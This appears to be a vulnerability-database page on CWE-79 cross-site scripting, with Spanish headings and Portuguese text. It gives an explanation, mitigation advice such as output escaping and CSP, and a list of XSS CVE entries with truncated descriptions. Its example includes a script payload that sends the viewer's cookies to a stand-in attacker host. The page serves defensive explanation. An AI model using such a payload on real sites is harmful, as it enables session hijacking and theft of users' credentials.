Fallos del tipo CWE-79

28.642 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2017-11481—Kibana versions prior to 6.0.1 and 5.6.5 had a cross-site scripting (XSS) vulnerability via URL fields that could allow an attacker to obtaiEPSS 0.8%CVE-2018-3820—Kibana versions after 6.1.0 and before 6.1.3 had a cross-site scripting (XSS) vulnerability in labs visualizations that could allow an attacEPSS 0.8%CVE-2024-34831MEDIUMcross-site scripting (XSS) vulnerability in Gibbon Core v26.0.00 allows an attacker to execute arbitrary code via the imageLink parameter inEPSS 0.8%CVE-2023-49657CRITICALApache Superset: Stored XSS in Dashboard Title and Chart TitleEPSS 0.8%CVE-2016-6555HIGHOpenNMS Stored XSS via SNMP Trap AlertsEPSS 0.8%CVE-2023-39510MEDIUMStored Cross-site Scripting in reports_admin.php through Device-Name in 'select' input in CactiEPSS 0.8%CVE-2023-39512MEDIUMStored Cross-site Scripting on data_sources.php device name view in CactiEPSS 0.8%CVE-2016-6556HIGHOpenNMS Stored XSS via SNMP Agent DataEPSS 0.8%CVE-2022-30577HIGHTIBCO EBX Stored XSS vulnerabilityEPSS 0.8%CVE-2022-28216—SAP BusinessObjects Business Intelligence Platform (BI Workspace) - version 420, is susceptible to a Cross-Site Scripting attack by an unautEPSS 0.8%CVE-2020-4052MEDIUMStored XSS through template injection in Wiki.jsEPSS 0.8%CVE-2024-30264HIGHtypebot.io: `GHSL-2024-040`EPSS 0.8%CVE-2022-24397—SAP NetWeaver Enterprise Portal - versions 7.30, 7.31, 7.40, 7.50, does not sufficiently encode user-controlled inputs, resulting in reflectEPSS 0.8%CVE-2022-20788MEDIUMCisco Unified Communications Products Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2021-32782MEDIUMCross-Site Scripting in Nextcloud CirclesEPSS 0.8%CVE-2024-31065MEDIUMCross Site Scripting vulnerability in Insurance Mangement System v.1.0.0 and before allows a remote attacker to execute arbitrary code via tEPSS 0.8%CVE-2020-2005HIGHPAN-OS: GlobalProtect Clientless VPN session hijackingEPSS 0.8%CVE-2022-2140HIGHElcomplus SmartICS Cross-site ScriptingEPSS 0.8%CVE-2022-0753LOWCross-site Scripting (XSS) - Reflected in hestiacp/hestiacpEPSS 0.8%CVE-2021-32664HIGHReflected XSS in Combodo/iTopEPSS 0.8%